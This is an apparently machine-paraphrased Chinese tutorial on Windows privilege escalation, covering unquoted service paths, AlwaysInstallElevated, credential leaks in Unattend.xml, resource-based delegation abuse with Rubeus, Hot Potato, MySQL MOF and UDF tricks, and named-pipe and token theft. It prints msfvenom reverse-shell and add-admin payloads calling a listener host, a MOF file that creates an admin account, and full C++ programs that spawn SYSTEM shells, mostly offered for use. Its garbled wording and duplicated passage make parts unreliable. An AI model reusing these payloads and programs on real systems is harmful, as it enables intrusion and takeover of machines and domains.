一、无引号服务门路 ( Trusted Service Paths )

先说实用度,比拟被动,而且比拟看脸。

Windows下服务的权限通常是SYSTEM。如果咱们可能替换服务的启动程序为咱们的恶意程序(如反弹shell),即相当于取得了SYSTEM权限,达到了提权的目标。
无引号服务门路有可能会导致这种状况的产生。
所谓无引号服务门路,就是服务启动程序的门路中蕴含了空格且未被引号蕴含起来。比方这样

C:\Program Files\floder1\service.exe

因为空格的存在,Windows在启动服务找寻服务启动项时,它会依照以下程序进行启动项寻找

C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Folder\Service.exe

这就给了咱们无隙可乘的机会:如果咱们在服务的下层目录有写入或齐全管制权限,咱们齐全能够将一个可执行文件放在Windows搜查服务启动项的更靠前程序上。

咱们用以下命令来搜寻哪些服务门路没有蕴含引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """


而后应用icacls命令查看在2345Explorer目录的权限如何

users组是齐全控制权(F),那么咱们间接用msfvenom结构一个反弹shell的exe。命名为Protect.exe,放入2345Explorer目录。我这里轻易编码了一下

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe


而后咱们当初是没有能力重启服务的。。只能等管理员重启服务或者机子重启。而后就拿到SYSTEM权限了。然而这里还有一个坑点,这个坑点是如果一个服务启动后在肯定工夫内未与 Service Control Manager(SCM) 通信,就会被进行。

所以咱们要在拿到shell后及时的转移过程或者增加管理员账户。
转移过程在msf中很简略,meterpreter中先用ps查看过程,轻易找一个system权限,记住其pid,而后 migrate PID 即可实现过程迁徙。

上面来说说防治办法吧。进入注册表批改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 门路下找到存在破绽的服务,批改其ImagePath,把门路前后加个引号就可了。

二、易受攻击的服务(Vulnerable Services )

同样看脸且被动

这个攻打办法大抵分两类

1.替换服务的二进制文件。这个办法较为简单,如果对服务二进制文件所在目录有修改权,那么咱们齐全能够创立一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻打流程和Trusted Service Paths一模一样,同样也是比拟被动地期待重启服务能力弹shell,就不再演示了。

2.批改服务的属性。如果咱们能批改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),咱们就能够通过设置 BINARY_PATH_NAME 的值为系统命令,而后重启服务时咱们的系统命令会被执行。

对于后者,咱们须要一款工具来疾速揭示出咱们能批改哪些服务的属性。
这个工具咱们采纳accesschk.exe,它是微软产出的,根本不会报毒。

咱们通过该工具执行以下命令

accesschk.exe -uwcqv "Authenticated Users" * /accepteulaoraccesschk.exe -uwcqv "Users" * /accepteula来查看Users组(依据理论状况来填哪个组)对哪些服务有哪些权限

如果对某个服务有service_all_access或者以下权限,就阐明能对其属性进行批改。

比方咱们对Spooler服务有service_all_access权限,咱们就能够这样做。

通过批改其binPath为歹意指令,而后期待管理员重启服务,咱们的歹意指令就会被执行。

三、AlwaysInstallElevated

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]“AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]“AlwaysInstallElevated”=dword:00000001

那么所有msi(windows利用安装程序)都会以SYSTEM权限运行。此时如果咱们执行一个歹意msi程序,即可达到提权目标

同时须要留神的一点是,这个注册表项不肯定总是存在的。(比方我的实验机

咱们能够通过reg query来验证这两条注册表项的状况

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

若均为1,咱们就能够通过msfvenom生成歹意msi来提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

而后执行,取得一个管理员账户。

四、信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着肯定信息泄露,他们通常存在于以下门路

C:\Windows\Panther\C:\Windows\Panther\Unattend\C:\Windows\System32\C:\Windows\System32\sysprep\

找到后,找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的明码。。

<UserAccounts>    <LocalAccounts>        <LocalAccount>            <Password>                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD                <PlainText>false</PlainText>            </Password>            <Description>Local Administrator</Description>            <DisplayName>Administrator</DisplayName>            <Group>Administrators</Group>            <Name>Administrator</Name>        </LocalAccount>    </LocalAccounts></UserAccounts>一些敏感文件查问指令C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s

五、基于资源的域委派攻打

refer:https://xz.aliyun.com/t/7454

原理的几个点:

1.S4U2SELF 协定能够在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启应用任何协定认证的约束性委派)时被调用,然而返回的ST是不可被转发的。

2.基于资源的约束性委派主机 在被另一台主机委派拜访时,在S4U2PROXY过程中提交过去的ST如果即便是不可转发的。KDC依旧会返回无效的ST2。

3.每个一般域用户默认能够创立至少十个机器账户( 由MachineAccountQuota属性决定 ),
每个机器账户被创立时都会主动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN

攻打流程:

假如开启基于资源的约束性委派机器为A

1.首先要有一个对以后计算机有写权限的账户,能力对A设置能够 被 委派拜访的服务账户。

2.利用以后账户创立一个机器账户,并配置好机器账户到A的 基于资源的约束性委派

3.因为机器账户是咱们创立的,咱们晓得他的明码账户,能够让它利用S4U2SELF协定取得一个不可转发ST。而后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派根底上取得无效的拜访A cifs服务的ST2。

4.用ST2拜访A的CIFS服务,权限取得。

实操

这个攻打说白了就是个提权…

首先咱们检查一下域控是否是win2012以上的主机,因为只有这样能力开启 基于资源的约束性委派。

咱们应用powersploit下的powerview脚本。执行命令 get-netdomaincontroller


能够取得域控WIN版本

而后咱们查看以后用户对哪台主机有写权限。因为是试验,所以咱们先来看看怎么配置一个用户对一个机器的权限。

间接在域控上找到某主机,而后进入在属性里进入平安选项卡,增加某用户,而后给这个用户调配权限即可。


咱们仍旧应用powerview。先调用

Get-DomainUser -Identity username -Properties objectsid

来获取以后用户SID

而后

Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚失去的SID"}

查看以后用户对某台主机是否有写权限。

如果有 GenericAll(齐全控制权),GenericWrite、WriteProperty、WriteDacl 这些属性,就阐明该用户能批改计算机的账户属性。
如图看到咱们对WIN7进行操作

好的,咱们接下来就要创建一个机器用户了。依据网上搜寻后果,应用powermad这个ps脚本能够很快捷的创立一个机器用户。https://github.com/Kevin-Robe...

Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)


好的,咱们增加了一个明码hack,名为hacksystem的机器账户,接下来就是配置hacksystem到WIN7的委派了。咱们须要做的,是批改WIN7的

msDS-AllowedToActOnBehalfOfOtherIdentity

属性的值 ,这个操作咱们用powerview实现。

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  #这儿的sid是咱们创立的#机器用户#evilsystem的sid$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose


至于机器账户SID怎么取得,powerview下的

get-domiancomputer hacksystem

而后应用

Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity

查看委派是否设置胜利

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

此命令能够革除 msds-allowedtoactonbehalfofotheridentity属性的值

当初都通通设置好了,开始下一步吧。

网上个别用的rubeus,这里我用kekeo吧

Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

本地运算出机器用户ntlm hash 这里借用一下他人的图

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt

写入票据

而后我在本机应用以上办法后klist一下,发现的确存在票据

然而dir \test1\c$时本机莫名其妙不能进行kerberos验证,我服了。。但不管怎样,咱们拿到银票了

敏感用户不可委派的绕过


若咱们的administrator用户被设置为敏感用户不可委派或者被退出爱护组,按理说他的拜访就不能进行委派。

咱们在以administrator账户身份进行S4U时,只能进行S4U2SELF,
不能进行S4U2PROXY。咱们用

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt

持续试验administrator,发现的确是这样

此时咱们用 rubeus.exe describe /ticker:S4Ubase64加密的票据

能够发现servicename并没有指定某个服务,仅仅只有一个账户.即产生了服务名称缺失的问题。很简略,把票据批改一下就行了.网上很多说用这个工具

https://shimo.im/docs/TdpXTY6...

但实际上rubeus也能实现票据批改

rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt



完事

六、POTATO 家族

hot potato

热土豆提权。很早前就据说过了,但始终没去理解过。前置常识是ntlm relay,能够去理解理解。potato家族有很多,hot potato只是其中一种提权形式。

我环境有问题,不能很好的复现,抓包剖析啥的先咕咕吧。

https://shimo.im/docs/TdpXTY6...HOT POTATO技术文档,国内基本上翻译这个来的。

提权步骤大略是这个流程

1.本地nbns服务坑骗

2.wpad劫持

3.HTTP->SMB 的 ntlm relay

4.本地nbns服务坑骗

Windows域名解析规定是

本地HOST文件-》dns查问-》NBNS或者LLMNR查问

一旦本地收回NBNS查问,咱们本地就能够迅速响应,啪的一下就响应了,很快啊,本地发包很快,只有收回NBNS包基本上都能被咱们本地发包响应。

然而以上步骤还是有一些细节的:咱们以后并非管理员权限,大几率是无奈嗅探本地流量的,如果咱们可能当时晓得指标主机冀望NBNS查问取得的主机名,咱们能够伪造一个响应,对发送NBNS查问的那个主机疾速的大量发送NBNS响应 .然而nbns流量包还有个叫特色码的货色,申请包和响应包的特色码必须雷同,所以咱们被迫发送65536个包爆破这个特色码——本地发包速度很快,本地NBNS坑骗成功率基本上在100%。

2.WPAD劫持

NBNS坑骗后咱们就能够劫持WPAD的域名,把本人伪造称WPAD并返回自定义的PAC文件。意味着咱们能够把本地收回的所有流量重定向。

3.RELAY

NBNS坑骗后咱们就能够劫持WPAD的域名,把本人伪造称WPAD并返回自定义的PAC文件。意味着咱们能够把本地收回的所有流量重定向。

3.RELAY

在当初这个年代,SMB->SMB的relay很少用到了,微软 禁用了同协定的NTLM认证 ,成功率很低。
然而HTTP->SMB的relay还是有的。HOT POTATO就是利用的这一点。
咱们能够把主机收回的HTTP申请重定向到咱们自定义的网页A,而网页A须要NTLM认证,咱们就能够进行HTTP->SMB的relay’了。当HTTP申请来自于高权限的账户时,例如是来自windows 更新服务的申请,命令就会以”NT AUTHORITY\SYSTEM”权限运行。

HOT POTATO 依据Windows版本的不同,须要期待高权限用户NTLM认证来到的工夫也不同。一般来说,
WIN7是霎时就能够提权的
Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一个自动更新机制,会每天下载证书信赖列表(CTLs)
,etc

七、MYSQL下的提权技术

MOF提权

在c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的工夫去执行一次(由”And TargetInstance.Second = 5″;管制,这里输出5就是每分钟的第五秒执行。那么把cmd命令增加到nullevt.mof中,cmd命令就会主动执行了。

前提是咱们要能进入数据库进行操作,且mysql数据库的权限尽可能高才更无利。同时secure-file-priv 要为空( mysql 5.6.34版本当前 secure_file_priv的值默认为NULL,禁止所有文件导入导出性能)

咱们伪造的MOF文件格式如下

#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{    EventNamespace = "Root\\Cimv2";    Name = "filtP2";    Query = "Select * From __InstanceModificationEvent "             "Where TargetInstance Isa \"Win32_LocalTime\" "             "And TargetInstance.Second = 5";    QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{    Name = "consPCSV2";    ScriptingEngine = "JScript";    ScriptText =    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; //批改此处即可};instance of __FilterToConsumerBinding{    Consumer = $Consumer;    Filter = $EventFilter;};

批改下面的cmd局部即可实现以管理员身份执行各种命令。

而后咱们应用mysql下的命令 ,将mof笼罩过来。

待咱们的命令被执行后,即代表提权胜利。

Windows 2003仿佛成功率蛮高的,WIN7试了试没反馈。。。

UDF提权

(这个也能够linux提权

udf,即自定义函数(user define function)

MYSQL能够自定义函数的。自定义函数在Windows下是以DLL文件存在于MYSQL的插件文件夹外面的(linux则是以os的模式)。咱们能够自定义一个歹意dll,外面寄存着能够执行系统命令的 函数。而后交给mysql以数据库权限执行。

前提:咱们能操作数据库,且数据库权限必须很高(咱们用这个办法提权到的权限就是数据库的权限

那么这个dll文件哪里来呢。sqlmap和msf都有。sqlmap下的 sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个dll文件的编码版本。咱们应用sqlmap下的sqlmap/extra/cloak/cloak.py对其进行解码取得dll文件。

python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ 即可取得dll文件

而后咱们把dll文件放入mysql的插件文件夹,命名为udf.dll。插件文件夹能够通过命令

show variables like "%plugin%";取得 (/lib/plugin文件夹须要本人创立)

至于怎么把dll放入插件文件夹

1.间接粘贴复制 (权限可能不够

2.应用命令 select load_file(‘udf.dll’) into dumpfile “PLUGIN的门路”;(须要secure_file_priv为空

总之,如果把udf.dll放入plugin文件夹后,咱们就能够执行以下操作提权了。

create funtion sys_eval returns string soname "udf.dll";select sys_eval('cmd');


启动项提权

说白了,就是通过mysql的高权限,向windows开机启动项文件夹里放入歹意vbs或者bat脚本,机器重启后主动执行。怎么让机器重启?等管理员或者 一些可导致服务器蓝屏的EXP

C:\Documents and Settings\All Users\「开始」菜单\程序\启动

C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

select load_file("xxx") into dumpfile "xxxx";


没什么好说的

八、命名管道提权

提权形式为 令牌模拟。Token Impersonation .

meterpreter的getsystem的提取办法之一就是这个办法

提权过程为从administrator用户提到SYSTEM权限。从普通用户提权到admin及以上权限是不可取的,因为普通用户创立的命名管道没有 SeImpersonatePrivilege,在复制令牌时会呈现1346谬误。

该办法技术细节为:以管理员权限创立一个命名管道,再通过创立SYSTEM权限服务,让服务连上命名管道,随后咱们通过模仿客户端,取得SYSTEM权限的令牌,随后将其复制,再用复制后的令牌创立新过程(如CMD),新过程的权限即SYSTEM权限。

这里贴上实现代码.
首先是被创立的服务的实现代码,该服务启动后会一直向服务器命名管道建设链接
生成好后,是Service.exe

#include<Windows.h>#include<iostream>SERVICE_STATUS m_ServiceStatus;SERVICE_STATUS_HANDLE m_ServiceStatusHandle;BOOL bRunning;void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);void WINAPI HandlerFunc(DWORD code);int main() {  WCHAR Servicename[] = L"ServiceA";  SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };  StartServiceCtrlDispatcher(Table);}void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {  m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;  m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;  m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;  m_ServiceStatus.dwWin32ExitCode = 0;  m_ServiceStatus.dwServiceSpecificExitCode = 0;  m_ServiceStatus.dwCheckPoint = 0;  m_ServiceStatus.dwWaitHint = 0;  m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);  m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;  m_ServiceStatus.dwCheckPoint = 0;  m_ServiceStatus.dwWaitHint = 0;  SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);  bRunning = true;  while (bRunning) {  LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe";  HANDLE PipeHandle=NULL;  BOOL PipeInstance;  WCHAR message[512] = { 0 };  DWORD bytesWritten = 0;  BOOL Flag = true;  wchar_t message2[] = L"HELL";  DWORD messageLength = lstrlen(message2) * 2;  do {    PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  } while (PipeHandle == INVALID_HANDLE_VALUE);  WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);  Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);  std::cout << "Message:" << message << std::endl;  }}void WINAPI HandlerFunc(DWORD code) {  switch (code) {  case SERVICE_CONTROL_PAUSE:    m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;    break;  case SERVICE_CONTROL_CONTINUE:    m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;    break;  case SERVICE_CONTROL_STOP:    m_ServiceStatus.dwWin32ExitCode = 0;    m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;    m_ServiceStatus.dwCheckPoint = 0;    m_ServiceStatus.dwWaitHint = 0;    SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);    bRunning = false;    break;  case SERVICE_CONTROL_INTERROGATE:    break;  }

而后是主体,命名管道服务器。生成后是Server.exe

#include<Windows.h>#include<iostream>int main() {  LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe";  LPVOID pipeBuffer = NULL;  HANDLE serverPipe;  DWORD readBytes = 0;  DWORD readBuffer = 0;  int err = 0;  BOOL isPipeConnected;  BOOL isPipeOpen;  wchar_t message[] = L"HELL";  DWORD messageLenght = lstrlen(message) * 2;  DWORD bytesWritten = 0;  WCHAR message2[512] = { 0 };//Open a Named Pipe,Wait for a connection  std::wcout << "Creating named pipe " << pipeName << std::endl;  serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);//Create a service of system to connect to our NamedPipe.  char servicename[] = "Service.exe";  char servicepath[_MAX_PATH];  SERVICE_STATUS status;  GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));  SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);  if (GetLastError() == 0) {  }  else {    std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;  }  SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,    servicepath, NULL, NULL, NULL, NULL, NULL);  if (!scService) {    if (GetLastError() == 1073) {      std::cout << "The Service has been exsisted" << std::endl;    }    else {      std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;    }  }  SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);  if (StartService(scServiceA, 0, NULL)) {    std::cout<<"service Start success"<<std::endl;  }  else {    if (GetLastError() == 1056) {      std::cout << "service is running,don't need to start again" << std::endl;    }  }//Connect !  isPipeConnected = ConnectNamedPipe(serverPipe, NULL);  if (isPipeConnected) {    std::wcout << "Incoming connection to " << pipeName << std::endl;    ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);    std::cout << message2;  }  else {    std::cout << "Does not connected Error: "<<GetLastError() << std::endl;  }  std::wcout << "Sending message: " << message << std::endl;  WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);//Toekn Impersonation  std::wcout << "Impersonating the client..." << std::endl;  if (!ImpersonateNamedPipeClient(serverPipe)) {    std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl;  }  else {  std::cout << "ImpersonateNamedPipeClient success" << std::endl;  }  STARTUPINFOA si;  PROCESS_INFORMATION pi = {};  ZeroMemory(&pi, sizeof(pi));  ZeroMemory(&si, sizeof(si));  si.cb = sizeof(si);  HANDLE token;  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {    std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;  }  CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";  WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";  HANDLE Token;  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {    std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;  }  else {    std::cout << "Impersonate completed" << std::endl;  }  if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {    std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;    if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {      std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;    }    else {      std::cout << "CreateProcessWithTokenW success" << std::endl;    }  }  else {    std::cout << "CreateProcessWithTokenW success" << std::endl;  }  while(1){}}

咱们生成了Service.exe,而后把他移到Server.exe同级目录,以管理员权限运行Server.exe,即可达到admin-》system的提权。


程序写了四天终于写好了。。WIN7下能够实现完满提权。
我的项目地址:https://shimo.im/docs/TdpXTY6...

令牌窃取

SYSTEM->本机上其余用户(包含域用户)(好家伙,只有本机有system权限,域管敢在本机上创立过程就间接能拿到域管权限) 或者admin获取debug权限后去获取SYSTEM权限(这里有一个细节点,只有owner为administrator的SYSTEM过程能力被利用,比方lsass,dllhost)

技术细节:通过寻找高权限开启的过程,再复制其令牌用以创立新过程,即可达到提权目标

#include <iostream>#include <Windows.h>//Only administrator can get debug privBOOL GetDebugPriv() {  HANDLE Token;  TOKEN_PRIVILEGES tp;  LUID Luid;  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {    std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;    return false;  }  tp.PrivilegeCount = 1;  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {    std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;    return false;  }  tp.Privileges[0].Luid = Luid;  if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){    std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;    return false;  }  if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {    return false;  }  else {    return true;  }}int main(int argc, char* argv[]) {  HANDLE t_process;  HANDLE token = NULL;  HANDLE token_bak = NULL;  DWORD process_id;  sscanf_s(argv[1], "%ul", &process_id);  WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe";  STARTUPINFO startupInfo;  PROCESS_INFORMATION processInformation;  ZeroMemory(&startupInfo, sizeof(STARTUPINFO));  ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));  startupInfo.cb = sizeof(STARTUPINFO);  std::cout << argv[1] << std::endl;  std::cout << "Openning process PID:" << process_id << std::endl;  if (GetDebugPriv()== TRUE) {    std::cout << "Got the debug priv" << std::endl;  }  else {    std::cout << "GetDebugPriv ERROR" << std::endl;  }  system("whoami /priv");  t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);  if (!t_process) {    std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;  }  if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {    std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;  }  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {    std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;  }  if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {    std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;  }  return 0;}


这是在win7下的测试后果 const\administrator 是域控